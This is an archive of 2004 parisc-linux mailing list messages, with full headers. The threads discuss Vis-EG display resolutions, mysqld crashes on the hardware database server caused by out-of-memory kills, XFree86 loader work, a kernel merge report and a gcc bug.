Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i1H2UVg4020210; Mon, 16 Feb 2004 21:30:32 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i1H2UVff020209;
	Mon, 16 Feb 2004 21:30:31 -0500 (EST)
In-Reply-To: <20040204051928.GA16054@colo.lackof.org> from "Grant Grundler" at
	Feb 3, 2004 10:19:28 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 17 Feb 2004 02:30:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20856

> I just recently got an HP 1825 Flat panel display.
> The documentation says the panel supports 1600x1200 resolution
> via analog (not DVI) input at 75Khz Hsync, 60Hz refresh (Vsync).

I tried 1600x1200 @ 75Hz on a NEC LCD.  However, I found that the
redraw time with the VIS-EG was too long for my taste.  I settled
for 1280x1024 @ 75 Hz.

> Anyone already know if PCI Vis-EG card can output that?
> If so how? Maybe some sort of custom "mode line" in PDC?
> I'm looking for concrete steps, not speculation.

The C3k manual describes the commands needed to the Vis-EG 
to its predefined modes.

> I'll hunt a bit more on the internet since I'm pretty sure
> I've seen some of the HP parisc workstations allow for
> a "custom" video output but don't know if Vis-EG allows
> that or where the steps to do it are described.

If I recall, there is a line in the list of settings for the
Vis-EG for user defined settings.  However, I couldn'd figure
out how to set them.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hw db pb?
Date: Mon, 16 Feb 2004 23:30:52 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20040217063052.GB22688@colo.lackof.org>
References: <402A4CA5000034AF@ocpmta2.freegates.net>
	<20040216174753.GM31168@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623199 5631 80.91.229.3 (22 Nov 2014 02:26:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: grundler@lackof.org  Mon Feb 16 23:30:53 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id C77124856
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Feb 2004 23:30:53 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 0E0FC2980CD; Mon, 16 Feb 2004 23:30:53 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 22512-09; Mon, 16 Feb 2004 23:30:52 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7806B298055; Mon, 16 Feb 2004 23:30:52 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040216174753.GM31168@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 17 Feb 2004 06:30:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20857

On Mon, Feb 16, 2004 at 05:47:53PM +0000, Matthew Wilcox wrote:
> mysqld had died.  I just restarted it and it now works for me.  Thanks for
> the report.

This had died last week too.
Maybe write a shell script to monitor it?

grant


From - Thu Nov 08 21:30:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP1825 and PCI Vis-EG at 1600x1200
Date: Mon, 16 Feb 2004 23:42:24 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20040217064224.GC22688@colo.lackof.org>
References: <20040204051928.GA16054@colo.lackof.org>
	<200402170230.i1H2UVff020209@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623199 5635 80.91.229.3 (22 Nov 2014 02:26:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: grundler@lackof.org  Mon Feb 16 23:42:26 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id F391E484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Feb 2004 23:42:25 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 7010B2980CD; Mon, 16 Feb 2004 23:42:25 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 23009-02; Mon, 16 Feb 2004 23:42:24 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AC0FF298055; Mon, 16 Feb 2004 23:42:24 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200402170230.i1H2UVff020209@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 17 Feb 2004 06:42:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20858

On Mon, Feb 16, 2004 at 09:30:31PM -0500, John David Anglin wrote:
> > I'll hunt a bit more on the internet since I'm pretty sure
> > I've seen some of the HP parisc workstations allow for
> > a "custom" video output but don't know if Vis-EG allows
> > that or where the steps to do it are described.
> 
> If I recall, there is a line in the list of settings for the
> Vis-EG for user defined settings.  However, I couldn'd figure
> out how to set them.

Yup, that's exactly what I was looking for.
I've seen that once upon a time but it might have been
on an HP internal website for a different card.
My fear is I have to run HPUX and "setmon" to get the custom settings.

Anyway, I gave up on this since it looks the manual for the
"HP 1825" really only supports 1280x1024 and the manual is
derived or shared with the "HP 2025" (20") flat panel display.
Thus the comment about 1600x1200 probably only applies to the 20" display.

thanks,
grant


From - Thu Nov 08 21:30:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Corn=E9_Beerse?= <cbeerse@lycos.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hw db pb?
Date: Tue, 17 Feb 2004 09:30:19 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <04Feb17.095855cet.119065@ns.hiscom.nl>
References: <402A4CA5000034AF@ocpmta2.freegates.net>
	<20040216174753.GM31168@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623199 5638 80.91.229.3 (22 Nov 2014 02:26:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: cbeerse@lycos.nl  Tue Feb 17 01:30:42 2004
Return-Path: <cbeerse@lycos.nl>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4FD548CA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Feb 2004 01:30:41 -0700 (MST)
Original-Received: by ns.hiscom.nl id <119065>; Tue, 17 Feb 2004 09:58:55 +0100
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
	rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
In-Reply-To: <20040216174753.GM31168@parcelfarce.linux.theplanet.co.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 17 Feb 2004 08:30:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20859

Matthew Wilcox wrote:

> On Mon, Feb 16, 2004 at 06:42:17PM +0100, Joel Soete wrote:
> 
>>Hi all,
>>
>>I try to have a look on D380 cpu's type into:
>><http://hwdb.parisc-linux.org/>
>>
>>but I only get severall:
>>"Warning: MySQL Connection Failed: Can't connect to local MySQL server through
>>socket '/var/run/mysqld/mysqld.sock' (111) in ../database.php3 on line 19
> 
> 
> mysqld had died.  I just restarted it and it now works for me.  Thanks for
> the report.
> 

While reading the hwdb some minutes ago, I saw the mysqld error messages. I 
think something more is wrong.


CBee




From - Thu Nov 08 21:30:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Job for someone
Date: Tue, 17 Feb 2004 14:42:06 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20040217144206.GQ31168@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623200 5641 80.91.229.3 (22 Nov 2014 02:26:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: willy@www.linux.org.uk  Tue Feb 17 07:42:07 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4B99484B
	for <parisc-linux@parisc-linux.org>;
	Tue, 17 Feb 2004 07:42:07 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1At6QI-0007aS-8c
	for parisc-linux@parisc-linux.org; Tue, 17 Feb 2004 14:42:06 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 17 Feb 2004 14:42:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20860


I was contacted by one of the Debian XFree86 people yesterday asking if
someone would like to look at the XFree86 loader for parisc so they could
rearrange the packaging to ship the modules separately from the server.
I don't have any great desire to work on a dynamic linker, but I bet
somebody else does ... ;-)

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hw db pb?
Date: Tue, 17 Feb 2004 14:58:08 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <20040217145808.GR31168@parcelfarce.linux.theplanet.co.uk>
References: <402A4CA5000034AF@ocpmta2.freegates.net>
	<20040216174753.GM31168@parcelfarce.linux.theplanet.co.uk>
	<04Feb17.095855cet.119065@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623200 5644 80.91.229.3 (22 Nov 2014 02:26:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:40 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Corn=E9?= Beerse <cbeerse@lycos.nl>
Original-X-From: willy@www.linux.org.uk  Tue Feb 17 07:58:10 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A0F14856
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Feb 2004 07:58:10 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1At6fo-00082Z-TH; Tue, 17 Feb 2004 14:58:08 +0000
Content-Disposition: inline
In-Reply-To: <04Feb17.095855cet.119065@ns.hiscom.nl>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 17 Feb 2004 14:58:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20861

On Tue, Feb 17, 2004 at 09:30:19AM +0100, Corn Beerse wrote:
> While reading the hwdb some minutes ago, I saw the mysqld error messages. I 
> think something more is wrong.

Yep.

Feb 16 19:20:14 dsl2 kernel: Out of Memory: Killed process 25587 (mysqld).
Feb 16 19:20:14 dsl2 kernel: Out of Memory: Killed process 25591 (mysqld).
Feb 16 19:20:19 dsl2 kernel: Out of Memory: Killed process 25592 (mysqld).
Feb 16 19:20:19 dsl2 kernel: Out of Memory: Killed process 25596 (mysqld).
Feb 16 19:20:29 dsl2 kernel: Out of Memory: Killed process 1217 (mysqld).
Feb 16 19:20:29 dsl2 kernel: Out of Memory: Killed process 1219 (mysqld).
Feb 16 19:20:29 dsl2 kernel: Out of Memory: Killed process 1220 (mysqld).
Feb 16 19:20:35 dsl2 kernel: Out of Memory: Killed process 1231 (mysqld).
Feb 16 19:20:35 dsl2 kernel: Out of Memory: Killed process 1233 (mysqld).
Feb 16 19:20:35 dsl2 kernel: Out of Memory: Killed process 1233 (mysqld).
Feb 16 19:21:00 dsl2 kernel: Out of Memory: Killed process 32694 (razor-report).
Feb 16 19:41:20 dsl2 kernel: Out of Memory: Killed process 886 (razor-report).
Feb 16 20:09:07 dsl2 kernel: Out of Memory: Killed process 32691 (razor-report).
Feb 16 21:14:35 dsl2 kernel: Out of Memory: Killed process 892 (razor-report).
Feb 16 22:08:34 dsl2 kernel: Out of Memory: Killed process 2958 (razor-report).
Feb 16 22:46:43 dsl2 kernel: Out of Memory: Killed process 2957 (razor-report).
Feb 17 00:13:43 dsl2 kernel: Out of Memory: Killed process 3217 (razor-report).
Feb 17 01:51:40 dsl2 kernel: Out of Memory: Killed process 5790 (razor-report).
Feb 17 02:51:00 dsl2 kernel: Out of Memory: Killed process 7007 (razor-report).
Feb 17 04:20:59 dsl2 kernel: Out of Memory: Killed process 7011 (razor-report).
Feb 17 07:28:46 dsl2 kernel: Out of Memory: Killed process 9957 (razor-report).

Hmm.  razor-report is either the bad guy or the innocent victim here.
I'll keep an eye on this ...

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Job for someone
Date: Tue, 17 Feb 2004 16:03:20 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20040217150320.GA27567@lst.de>
References: <20040217144206.GQ31168@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623200 5645 80.91.229.3 (22 Nov 2014 02:26:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: hch@lst.de  Tue Feb 17 08:03:34 2004
Return-Path: <hch@lst.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.lst.de (verein.lst.de [212.34.189.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16ACD4854
	for <parisc-linux@parisc-linux.org>;
	Tue, 17 Feb 2004 08:03:34 -0700 (MST)
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i1HF3KQc027603
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Tue, 17 Feb 2004 16:03:20 +0100
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i1HF3KDu027601;
	Tue, 17 Feb 2004 16:03:20 +0100
Content-Disposition: inline
In-Reply-To: <20040217144206.GQ31168@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Spam-Score: -4.901 () BAYES_00
X-Scanned-By: MIMEDefang 2.39
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 17 Feb 2004 15:03:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20862

On Tue, Feb 17, 2004 at 02:42:06PM +0000, Matthew Wilcox wrote:
> I was contacted by one of the Debian XFree86 people yesterday asking if
> someone would like to look at the XFree86 loader for parisc so they could
> rearrange the packaging to ship the modules separately from the server.
> I don't have any great desire to work on a dynamic linker, but I bet
> somebody else does ... ;-)

Maybe that someone should fix the issue right and switch XFree to use
dlopen() for Linux.  If some other OSes want to keep the current junk
it'll be their problem to fix it..



From - Thu Nov 08 21:30:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 willy
Date: Tue, 17 Feb 2004 19:16:44 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <402A4D450000445E@ocpmta3.freegates.net>
References: <20040217125236.BF8124940B2@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623200 5648 80.91.229.3 (22 Nov 2014 02:26:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Tue Feb 17 11:16:48 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63423484B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Feb 2004 11:16:48 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) id 1At9m2-00037T-00
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Feb 2004 19:16:46 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 17 Feb 2004 19:16:44 +0100
In-Reply-To: <20040217125236.BF8124940B2@palinux.hppa>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 17 Feb 2004 18:16:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20863


>CVSROOT:	/var/cvs
>Module name:	linux-2.6
>Changes by:	willy	04/02/17 05:52:36
>
[snip]
>Log message:
>merged to 2.6.3-rc4
Matthew,

Great job.

Boot fine on b2k 64bit kernel build with last gcc-3.0.4-ds3-8 ;)

hth,
    Joel



----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:30:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Tue, 17 Feb 2004 16:10:41 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <20040217211041.GB12535@baldric.uwo.ca>
References: <402E7722.2080105@tiscali.be>
	<402A4CA50000347C@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623201 5650 80.91.229.3 (22 Nov 2014 02:26:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:41 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James Morrison <ja2morri@csclub.uwaterloo.ca>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Tue Feb 17 14:12:21 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB0EF4840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Feb 2004 14:12:21 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AtCUL-0003Os-00; Tue, 17 Feb 2004 16:10:41 -0500
Content-Disposition: inline
In-Reply-To: <402A4CA50000347C@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (38% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 17 Feb 2004 21:12:22 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20864

On Mon, Feb 16, 2004 at 06:31:41PM +0100, Joel Soete wrote:
> > Ok, I will try to report as much detail as I can.
> 
> Hi all,
> 
> Just in case of some interest interest, here is the pr ref:
> <http://gcc.gnu.org/bugzilla/show_bug.cgi?id=14163>
> 
> hth,
